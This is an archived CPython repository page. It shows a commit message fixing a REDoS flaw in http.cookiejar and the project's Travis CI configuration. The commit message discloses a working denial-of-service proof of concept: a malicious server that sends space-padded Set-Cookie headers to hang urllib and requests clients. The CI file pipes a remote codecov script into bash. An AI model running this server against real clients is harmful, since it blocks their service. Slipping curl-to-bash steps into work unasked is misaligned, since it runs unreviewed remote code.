Staging
v0.5.1
v0.5.1
https://github.com/python/cpython
Revision 55a6a16a46239a71b635584e532feb8b17ae7fdf authored by Victor Stinner on 03 April 2020, 01:37:32 UTC, committed by GitHub on 03 April 2020, 01:37:32 UTC
The regex http.cookiejar.LOOSE_HTTP_DATE_RE was vulnerable to regular
expression denial of service (REDoS).
LOOSE_HTTP_DATE_RE.match is called when using http.cookiejar.CookieJar
to parse Set-Cookie headers returned by a server.
Processing a response from a malicious HTTP server can lead to extreme
CPU usage and execution will be blocked for a long time.
The regex contained multiple overlapping \s* capture groups.
Ignoring the ?-optional capture groups the regex could be simplified to
\d+-\w+-\d+(\s*\s*\s*)$
Therefore, a long sequence of spaces can trigger bad performance.
Matching a malicious string such as
LOOSE_HTTP_DATE_RE.match("1-c-1" + (" " * 2000) + "!")
caused catastrophic backtracking.
The fix removes ambiguity about which \s* should match a particular
space.
You can create a malicious server which responds with Set-Cookie headers
to attack all python programs which access it e.g.
from http.server import BaseHTTPRequestHandler, HTTPServer
def make_set_cookie_value(n_spaces):
spaces = " " * n_spaces
expiry = f"1-c-1{spaces}!"
return f"b;Expires={expiry}"
class Handler(BaseHTTPRequestHandler):
def do_GET(self):
self.log_request(204)
self.send_response_only(204) # Don't bother sending Server and Date
n_spaces = (
int(self.path[1:]) # Can GET e.g. /100 to test shorter sequences
if len(self.path) > 1 else
65506 # Max header line length 65536
)
value = make_set_cookie_value(n_spaces)
for i in range(99): # Not necessary, but we can have up to 100 header lines
self.send_header("Set-Cookie", value)
self.end_headers()
if __name__ == "__main__":
HTTPServer(("", 44020), Handler).serve_forever()
This server returns 99 Set-Cookie headers. Each has 65506 spaces.
Extracting the cookies will pretty much never complete.
Vulnerable client using the example at the bottom of
https://docs.python.org/3/library/http.cookiejar.html :
import http.cookiejar, urllib.request
cj = http.cookiejar.CookieJar()
opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj))
r = opener.open("http://localhost:44020/")
The popular requests library was also vulnerable without any additional
options (as it uses http.cookiejar by default):
import requests
requests.get("http://localhost:44020/")
* Regression test for http.cookiejar REDoS
If we regress, this test will take a very long time.
* Improve performance of http.cookiejar.ISO_DATE_RE
A string like
"444444" + (" " * 2000) + "A"
could cause poor performance due to the 2 overlapping \s* groups,
although this is not as serious as the REDoS in LOOSE_HTTP_DATE_RE was.
(cherry picked from commit 1b779bfb8593739b11cbb988ef82a883ec9d077e)
Co-authored-by: bcaller <bcaller@users.noreply.github.com> 1 parent ed07522
Tip revision: 55a6a16a46239a71b635584e532feb8b17ae7fdf authored by Victor Stinner on 03 April 2020, 01:37:32 UTC
bpo-38804: Fix REDoS in http.cookiejar (GH-17157) (#17344)
bpo-38804: Fix REDoS in http.cookiejar (GH-17157) (#17344)
Tip revision: 55a6a16
.travis.yml
language: c
dist: trusty
sudo: false
group: beta
# To cache doc-building dependencies.
cache: pip
branches:
only:
- master
- /^\d\.\d$/
matrix:
fast_finish: true
allow_failures:
- env: OPTIONAL=true
include:
- os: linux
language: c
compiler: clang
# gcc also works, but to keep the # of concurrent builds down, we use one C
# compiler here and the other to run the coverage build. Clang is preferred
# in this instance for its better error messages.
env: TESTING=cpython
- os: osx
language: c
compiler: clang
# Testing under macOS is optional until testing stability has been demonstrated.
env: OPTIONAL=true
before_install:
- brew install openssl xz
- export CPPFLAGS="-I$(brew --prefix openssl)/include"
- export LDFLAGS="-L$(brew --prefix openssl)/lib"
- os: linux
language: python
python: 3.6
env: TESTING=docs
before_script:
- cd Doc
# Sphinx is pinned so that new versions that introduce new warnings won't suddenly cause build failures.
# (Updating the version is fine as long as no warnings are raised by doing so.)
- python -m pip install sphinx==1.8.2 blurb
script:
- make check suspicious html SPHINXOPTS="-q -W -j4"
- os: linux
language: c
compiler: gcc
env: OPTIONAL=true
before_script:
- |
if ! git diff --name-only $TRAVIS_COMMIT_RANGE | grep -qvE '(\.rst$)|(^Doc)|(^Misc)'
then
echo "Only docs were updated, stopping build process."
exit
fi
./configure
make -s -j4
# Need a venv that can parse covered code.
./python -m venv venv
./venv/bin/python -m pip install -U coverage
script:
# Skip tests that re-run the entire test suite.
- ./venv/bin/python -m coverage run --pylib -m test -uall,-cpu -x test_multiprocessing_fork -x test_multiprocessing_forkserver -x test_multiprocessing_spawn
after_script: # Probably should be after_success once test suite updated to run under coverage.py.
# Make the `coverage` command available to Codecov w/ a version of Python that can parse all source files.
- source ./venv/bin/activate
- bash <(curl -s https://codecov.io/bash)
# Travis provides only 2 cores, so don't overdo the parallelism and waste memory.
before_script:
- |
set -e
if ! git diff --name-only $TRAVIS_COMMIT_RANGE | grep -qvE '(\.rst$)|(^Doc)|(^Misc)'
then
echo "Only docs were updated, stopping build process."
exit
fi
./configure --with-pydebug
make -j4
make -j4 regen-all clinic
changes=`git status --porcelain`
if ! test -z "$changes"
then
echo "Generated files not up to date"
echo "$changes"
exit 1
fi
script:
# Using the built Python as patchcheck.py is built around the idea of using
# a checkout-build of CPython to know things like what base branch the changes
# should be compared against.
# Only run on Linux as the check only needs to be run once.
- if [[ "$TRAVIS_OS_NAME" == "linux" ]]; then ./python Tools/scripts/patchcheck.py --travis $TRAVIS_PULL_REQUEST; fi
# `-r -w` implicitly provided through `make buildbottest`.
- make buildbottest TESTOPTS="-j4 -uall,-cpu"
notifications:
email: false
irc:
channels:
# This is set to a secure variable to prevent forks from notifying the
# IRC channel whenever they fail a build. This can be removed when travis
# implements https://github.com/travis-ci/travis-ci/issues/1094.
# The actual value here is: irc.freenode.net#python-dev
- secure: "s7kAkpcom2yUJ8XqyjFI0obJmhAGrn1xmoivdaPdgBIA++X47TBp1x4pgDsbEsoalef7bEwa4l07KdT4qa+DOd/c4QxaWom7fbN3BuLVsZuVfODnl79+gYq/TAbGfyH+yDs18DXrUfPgwD7C5aW32ugsqAOd4iWzfGJQ5OrOZzqzGjYdYQUEkJFXgxDEIb4aHvxNDWGO3Po9uKISrhb5saQ0l776yLo1Ur7M4oxl8RTbCdgX0vf5TzPg52BgvZpOgt3DHOUYPeiJLKNjAE6ibg0U95sEvMfHX77nz4aFY4/3UI6FFaRla34rZ+mYKrn0TdxOhera1QOgPmM6HzdO4K44FpfK1DS0Xxk9U9/uApq+cG0bU3W+cVUHDBe5+90lpRBAXHeHCgT7TI8gec614aiT8lEr3+yH8OBRYGzkjNK8E2LJZ/SxnVxDe7aLF6AWcoWLfS6/ziAIBFQ5Nc4U72CT8fGVSkl8ywPiRlvixKdvTODMSZo0jMqlfZSNaAPTsNRx4wu5Uis4qekwe32Fz4aB6KGpsuuVjBi+H6v0RKxNJNGY3JKDiEH2TK0UE2auJ5GvLW48aUVFcQMB7euCWYXlSWVRHh3WLU8QXF29Dw4JduRZqUpOdRgMHU79UHRq+mkE0jAS/nBcS6CvsmxCpTSrfVYuMOu32yt18QQoTyU="
on_success: change
on_failure: always
skip_join: true
Computing file changes ...
